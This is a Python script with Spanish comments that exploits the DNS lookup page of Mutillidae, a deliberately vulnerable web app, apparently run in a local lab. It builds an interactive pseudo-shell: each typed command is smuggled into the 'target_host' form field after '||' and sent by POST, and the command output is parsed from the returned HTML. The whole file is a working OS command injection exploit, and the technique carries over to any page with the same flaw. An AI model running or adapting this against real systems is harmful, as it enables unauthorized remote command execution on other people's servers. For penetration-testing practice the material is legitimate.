text: #-*-coding: utf-8-*-
  from requests import session
  from bs4 import BeautifulSoup
  
  
  #Aqui pones la ip de tu maquina.
  host = "192.168.1.167"
  #Aqui pones la ruta de el dns-lookup.php 
  route = "/mutillidae/index.php?page=dns-lookup.php"
  
  with session() as s:
  	cmd = ''
  	while cmd != 'exit':
  		cmd = input(">>")
  		payload = "|| {}".format(cmd)	
  		#Mandar el payload al host por medio de un post request.	
  		response = s.post("http://{}{}".format(host, route), data={"target_host": payload})
  
  		#Parsear la respuesta con beautiful soup
  		soup = BeautifulSoup(response.text, "html.parser")
  
  		#El output del comando se encuentra en un <pre> con la clase 'report-header'
  		#Asi que le decimos a beautiful soup que lo encuentre, y que nos de el texto.
  		command_output = soup.find_all("pre", attrs={"class": "report-header"})[0].get_text()
  
  		#Imprimir output del comando
  		print(command_output)